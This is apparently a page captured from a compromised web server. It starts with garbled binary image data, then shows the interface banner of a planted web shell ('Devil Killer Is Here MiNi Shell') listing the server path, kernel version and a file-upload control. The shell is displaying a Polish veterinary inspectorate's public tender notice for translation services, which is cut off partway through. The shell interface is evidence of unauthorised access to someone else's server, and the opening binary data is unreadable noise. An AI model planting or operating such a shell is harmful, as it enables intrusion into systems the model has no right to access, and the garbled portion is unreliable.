JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20240702/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20240702/0039299501-N-2024.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Świadczenie usług w zakresie tłumaczeń pisemnych (w tym weryfikacji tekstów) i tłumaczeń konsekutywnych na potrzeby Głównego Inspektoratu Weterynarii w okresie 24 miesięcy od dnia zawarcia umowy. </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Inspekcja Weterynaryjna Główny Inspektorat Weterynarii</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 013298660</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Wspólna 30</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Warszawa</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">00-930</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">mazowieckie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL911 - Miasto Warszawa</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">sebastian.klodkowski@wetgiw.gov.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">www.wetgiw.gov.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - organ władzy publicznej - organ administracji rządowej (centralnej lub terenowej)</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Inna działalność</span> </h3> <p class="mb-0"> Weterynaria </p> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Świadczenie usług w zakresie tłumaczeń pisemnych (w tym weryfikacji tekstów) i tłumaczeń konsekutywnych na potrzeby Głównego Inspektoratu Weterynarii w okresie 24 miesięcy od dnia zawarcia umowy. </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-80a76d0e-2ee1-11ef-b373-0e435a8a43bc</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2024/BZP 00392995</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2024-07-02</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2024/BZP 00221040/02/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.1 Świadczenie usług w zakresie tłumaczeń pisemnych (w tym weryfikacji tekstów) i tłumaczeń konsekutywnych na potrzeby Głównego Inspektoratu Weterynarii w okresie 24 miesięcy od dnia zawarcia umowy.</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://ezamowienia.gov.pl/mp-client/search/list/ocds-148610-80a76d0e-2ee1-11ef-b373-0e435a8a43bc <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://ezamowienia.gov.pl</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">W postępowaniu o udzielenie zamówienia publicznego komunikacja między Zamawiającym a Wykonawcami odbywa się za pośrednictwem Platformy ezamówienia, która jest dostępna pod adresem https://ezamowienia.gov.pl. Szczegółowe informacje w zakresie wymagań<br/>technicznych i organizacyjnych dot. korespondencji elektronicznej zostały wskazane w Rozdziale 10 SWZ.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">Główny Inspektorat Weterynarii (zwany dalej „GIW”) z siedzibą w Warszawie przy ul. Wspólnej 30, 00-930 Warszawa przetwarza dane zawarte w ofertach, znajdujące się w publicznie dostępnych rejestrach (Krajowy<br/>Rejestr Sądowy, Centralna Ewidencja i Informacja o Działalności Gospodarczej) w celu prowadzenia postępowań o udzielenie zamówień publicznych na postawie przepisów ustawy z dnia 11 września 2019 r. - Prawo zamówień publicznych (Dz. U. z 2023 r. poz. 1605, z późn. zm.) (zwanej dalej „ustawa Pzp”).<br/>Wśród tych informacji mogą pojawić się dane, które na gruncie rozporządzenia Parlamentu Europejskiego i Rady Unii Europejskiej 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (dalej: „Ogólne Rozporządzenie” lub „RODO”), mają<br/>charakter danych osobowych. Dodatkowe informacje w tym zakresie zostały zamieszczone w Rozdziale 2 SWZ.</span></h3> <h3 class="mb-0">3.16.) RODO (ograniczenia stosowania): <span class="normal">Informacje w tym zakresie zostały zamieszczone w Rozdziale 2 SWZ.</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2><h3 class="mb-0">4.1.) Informacje ogólne odnoszące się do przedmiotu zamówienia.</h3> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">BP.240.1.2024</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.5.) Łączna wartość poszczególnych części zamówienia: <span class="normal"> 333333,33 PLN </span> </h3> <h3 class="mb-0">4.1.6.) Wartość zamówienia stanowiącego przedmiot tego postępowania (bez VAT): <span class="normal"> 333333,32 PLN </span> </h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">2</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na wszystkie części</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1. Zapewnienie w okresie 24 miesięcy profesjonalnej obsługi Głównego Inspektoratu Weterynarii w zakresie usług Tłumaczeń Pisemnych, Weryfikacji Tłumaczeń oraz w przypadku realizacji usług w ramach prawa opcji - innych rodzajów tłumaczeń. Celem realizacji Umowy zawartej w wyniku niniejszego postępowania w ramach Części I zamówienia jest wsparcie przez Wykonawcę działalności Zamawiającego, dotyczącej współpracy i kooperacji z organizacjami międzynarodowymi, a także służbami weterynaryjnymi krajów trzecich oraz podmiotami pochodzącymi z krajów trzecich, poprzez odpłatne usługi Tłumaczeń lub Weryfikacji Tłumaczeń w szczególności: dokumentów urzędowych, aktów prawnych, pism, jak również korespondencji i publikacji o tematyce lekarsko-weterynaryjnej (dotyczącej bezpieczeństwa żywności pochodzenia zwierzęcego, produktów pochodzenia zwierzęcego, dobrostanu zwierząt, chorób zwierząt i chorób odzwierzęcych oraz farmacji weterynaryjnej). <br/>2. Tłumaczenia Pisemne i Weryfikacja Tłumaczeń dotyczą tłumaczeń z języka angielskiego/hiszpańskiego/francuskiego na język polski oraz z języka polskiego na język angielski/hiszpański/francuski. <br/>3. W okresie 24 miesięcy od daty zawarcia Umowy, Zamawiający przewiduje, szacunkową liczbę 6000 Stron Tłumaczeniowych. Z uwagi na charakterystykę i realizowane zadania Głównego Inspektoratu Weterynarii, wskazana w zdaniu poprzedzającym liczba Stron Tłumaczeniowych ma charakter szacunkowy, poglądowy i nie jest wiążąca dla Zamawiającego. Wykonawcy nie przysługuje względem Zamawiającego żadne roszczenie finansowe w przypadku zlecenia Tłumaczeń Pisemnych lub Weryfikacji Tłumaczeń na poziomie do 50% przewidywanej liczby Stron Tłumaczeniowych. <br/>4. Dodatkowe informacje w zakresie opisu przedmiotu zamówienia zawierają załącznik numer 1A (SOPZ) oraz 2A (Projektowane postanowienia umowy). </p> <h3 class="mb-0">4.2.5.) Wartość części: <span class="normal"> 243902,44 PLN </span> </h3> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">79540000-1 - Usługi w zakresie tłumaczeń ustnych</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> 1. Dla Części I zamówienia - Tłumaczeń Pisemnych i Weryfikacji Tłumaczeń Zamawiający na podstawie art. 441 ustawy Pzp przewiduje zastosowanie prawa opcji polegającego na:<br/>1) realizacji (po wyczerpaniu maksymalnej kwoty zamówienia podstawowego, we wszystkich trybach wskazanych w SOPZ i umowie) ewentualnych dodatkowych usług Tłumaczeń Pisemnych lub Weryfikacji Tłumaczeń z języka angielskiego/hiszpańskiego/francuskiego na język polski (lub odwrotnie) – ponad liczbę Stron Tłumaczeniowych określoną jako zamówienie podstawowe, <br/>2) realizacji ewentualnych dodatkowych usług Tłumaczeń Pisemnych lub Weryfikacji Tłumaczeń dotyczących innych języków obcych w szczególności: krajów należących do Europejskiego Obszaru Gospodarczego, lub innych krajów np. Białorusi, Ukrainy, Rosji lub krajów Azji, Australii obu Ameryk, ewentualnie również z udziałem Tłumacza Przysięgłego, o ile Wykonawca posiada możliwości świadczenia takich usług,<br/>3) realizacji ewentualnych dodatkowych usług związanych z tłumaczeniami symultanicznymi (równoczesnymi), lub Tłumaczeniami Konsekutywnymi, o ile Wykonawca posiada możliwość świadczenia takich usług,<br/>4) realizacji ewentualnych dodatkowych usług Tłumaczeń Pisemnych lub Weryfikacji Tłumaczeń z języka angielskiego na język polski (lub odwrotnie) – w soboty i dni ustawowo wolne od pracy, o ile Wykonawca posiada możliwości świadczenia takich usług.<br/>2. W przypadku realizacji prawa opcji opisanego w ust.1 , pkt 1, czyli zwiększenia liczby stron Tłumaczeń Pisemnych lub Weryfikacji Tłumaczeń ponad zamówienie podstawowe - w przypadku przekazania przez Zamawiającego do Wykonawcy Zlecenia Realizacji Tłumaczeń lub Weryfikacji, Wykonawca będzie zobowiązany do realizacji usług Tłumaczeń Pisemnych lub Weryfikacji na zasadach jak dla zamówienia podstawowego.<br/>3. Realizacja dodatkowych usług w ramach prawa opcji, w zakresie Części I zamówienia, o których mowa w ust. 1 , pkt od 2 do 4, może się odbywać na zasadzie dobrowolności z poszanowaniem interesów Stron, tj. wyłącznie, jeśli Wykonawca posiada możliwość świadczenia takich usług i wyrazi wolę ich realizacji a Zamawiający zaakceptuje warunki ich realizacji.<br/>4. Maksymalna wartość ewentualnej realizacji dodatkowych usług w ramach prawa opcji nie może łącznie przekroczyć 100 % wartości wynagrodzenia podstawowego.<br/>5. Szczegółowe zasady realizacji Prawa opcji zostały określone w § 6 Umowy dla Części I zamówienia (Załącznik 2A do SWZ). <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">24 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Kryteria oceny ofert dla Części I zostały opisane w Rozdziale 16 ust. od 3 do 8 SWZ. <br/>1. Ocena ofert dla każdej z części zamówienia oddzielnie będzie dokonywana według skali punktowej, przy założeniu, że maksymalna punktacja wynosi 100 punktów. Punktacja przyznana ofercie Wykonawcy będzie sumą punktacji uzyskanej w każdym z niżej wymienionych kryteriów, odrębnych dla każdej z części zamówienia.<br/>2.	Zamawiający dokona oceny ofert przyznając punkty w ramach poszczególnych kryteriów oceny ofert. Ocena ofert zostanie dokonana dla każdej części oddzielnie.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">55</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Liczba Tłumaczy spełniających wymagania Zamawiającego, którą Wykonawca skieruje do realizacji zamówienia (LT1)</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">35</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Deklarowana, maksymalna liczba godzin na realizację Tłumaczeń Pisemnych lub Weryfikacji Tłumaczeń w trybie ekspresowym (do 8 Stron Tłumaczeniowych) (CZT)</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">10</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1. Zapewnienie w okresie 24 miesięcy profesjonalnej obsługi Głównego Inspektoratu Weterynarii w zakresie usług Tłumaczeń Konsekutywnych, oraz w przypadku realizacji usług w ramach prawa opcji - innych rodzajów tłumaczeń. Celem realizacji umowy zawartej w wyniku niniejszego postępowania, w ramach części II, jest wsparcie przez Wykonawcę działalności Zamawiającego, dotyczącej współpracy i kooperacji z organizacjami międzynarodowymi, a także służbami weterynaryjnymi krajów trzecich oraz podmiotami pochodzącymi z krajów trzecich, poprzez odpłatne usługi Tłumaczeń Konsekutywnych (następczych), świadczonych przez skierowanych do realizacji zamówienia przez Wykonawcę Tłumaczy w szczególności: podczas spotkań dwu lub wielostronnych, konferencji, video lub telekonferencji, szkoleń lub innych wydarzeń z udziałem podmiotów zagranicznych. Z uwagi na specyfikę działalności Zamawiającego tłumaczenia mogą dotyczyć w szczególności tematyki lekarsko-weterynaryjnej (dotyczącej bezpieczeństwa żywności pochodzenia zwierzęcego, produktów pochodzenia zwierzęcego, dobrostanu zwierząt, chorób zwierząt i chorób odzwierzęcych oraz farmacji weterynaryjnej). <br/>2. W okresie 24 miesięcy od daty zawarcia Umowy, Zamawiający przewiduje, szacunkową liczbę 200 godzin zegarowych (60 minut) Tłumaczeń Konsekutywnych. Z uwagi na charakterystykę i realizowane zadania Głównego Inspektoratu Weterynarii, podana wyżej liczba godzin zegarowych Tłumaczenia ma charakter szacunkowy, poglądowy i nie jest wiążąca dla Zamawiającego. Wykonawcy nie przysługuje względem Zamawiającego żadne roszczenie finansowe w przypadku zlecenia Tłumaczeń Konsekutywnych na poziomie do 50% przewidywanej liczby godzin zegarowych.<br/>3. Tłumaczenia Konsekutywne dotyczą tłumaczeń z języka angielskiego na język polski oraz z języka polskiego na język angielski.<br/>4. Dodatkowe informacje w zakresie opisu przedmiotu zamówienia zawierają załącznik numer 1B (SOPZ) oraz 2B (Projektowane postanowienia umowy). </p> <h3 class="mb-0">4.2.5.) Wartość części: <span class="normal"> 89430,89 PLN </span> </h3> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79540000-1 - Usługi w zakresie tłumaczeń ustnych</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> 1. Dla Części II zamówienia - Tłumaczeń Konsekutywnych Zamawiający na podstawie art. 441 ustawy Pzp przewiduje zastosowanie prawa opcji polegającego na:<br/>1) realizacji ewentualnych dodatkowych usług Tłumaczeń Konsekutywnych z języka angielskiego na język polski (lub odwrotnie) - ponad liczbę godzin określoną jako zamówienie podstawowe,<br/>2) realizacji ewentualnych dodatkowych usług Tłumaczeń Konsekutywnych dotyczących innych języków obcych w szczególności: krajów należących do Europejskiego Obszaru Gospodarczego lub innych krajów np. Białorusi, Ukrainy, Rosji lub krajów Azji, Australii obu Ameryk, ewentualnie również z udziałem Tłumacza Przysięgłego, o ile Wykonawca posiada możliwości świadczenia takich usług,<br/>3) realizacji ewentualnych dodatkowych usług związanych z tłumaczeniami Pisemnymi lub symultanicznymi (równoczesnymi), o ile Wykonawca posiada możliwość świadczenia takich usług.<br/>4) realizacji ewentualnych dodatkowych usług Tłumaczeń Konsekutywnych z języka angielskiego na język polski (lub odwrotnie) – w soboty lub dni ustawowo wolne od pracy, o ile Wykonawca posiada możliwości świadczenia takich usług.<br/><br/>2. W przypadku realizacji prawa opcji opisanego ust. 1 pkt 1, czyli zwiększenia liczny godzin tłumaczeniowych ponad zamówienie podstawowe, w przypadku przekazania przez Zamawiającego do Wykonawcy Zlecenia Realizacji Tłumaczeń, Wykonawca będzie zobowiązany do realizacji usług Tłumaczeń Konsekutywnych na zasadach jak dla zamówienia podstawowego.<br/><br/>3. Realizacja dodatkowych usług w ramach prawa opcji, w zakresie Części II zamówienia, o których mowa w ust.1 pkt od 2 do 4, może się odbywać na zasadzie dobrowolności z poszanowaniem interesów Stron, tj. wyłącznie, jeśli Wykonawca posiada możliwość świadczenia takich usług i wyrazi wolę ich realizacji a Zamawiający zaakceptuje warunki ich realizacji.<br/>4. Maksymalna wartość ewentualnej realizacji dodatkowych usług w ramach prawa opcji nie może łącznie przekroczyć 100 % wartości wynagrodzenia podstawowego.<br/>5. Szczegółowe zasady realizacji Prawa opcji zostały określone w § 6 Umowy dla Części II zamówienia (Załącznik 2B do SWZ). <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">24 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Kryteria oceny ofert dla Części II zamówienia zostały określone w Rozdziale 16 ust. od 9 do 13 SWZ. <br/>1. Ocena ofert dla każdej z części zamówienia oddzielnie będzie dokonywana według skali punktowej, przy założeniu, że maksymalna punktacja wynosi 100 punktów. Punktacja przyznana ofercie Wykonawcy będzie sumą punktacji uzyskanej w każdym z niżej wymienionych kryteriów, odrębnych dla każdej z części zamówienia.<br/>2.	Zamawiający dokona oceny ofert przyznając punkty w ramach poszczególnych kryteriów oceny ofert. Ocena ofert zostanie dokonana dla każdej części oddzielnie.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Liczba Tłumaczy skierowanych do realizacji Tłumaczeń Konsekutywnych w ramach umowy (LT2)</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> I. Zamawiający przewiduje w ramach Części I zamówienia - Tłumaczeń Pisemnych i Weryfikacji Tłumaczeń - następujące warunki udziału w postępowaniu: <br/>1. Warunek w zakresie doświadczenia 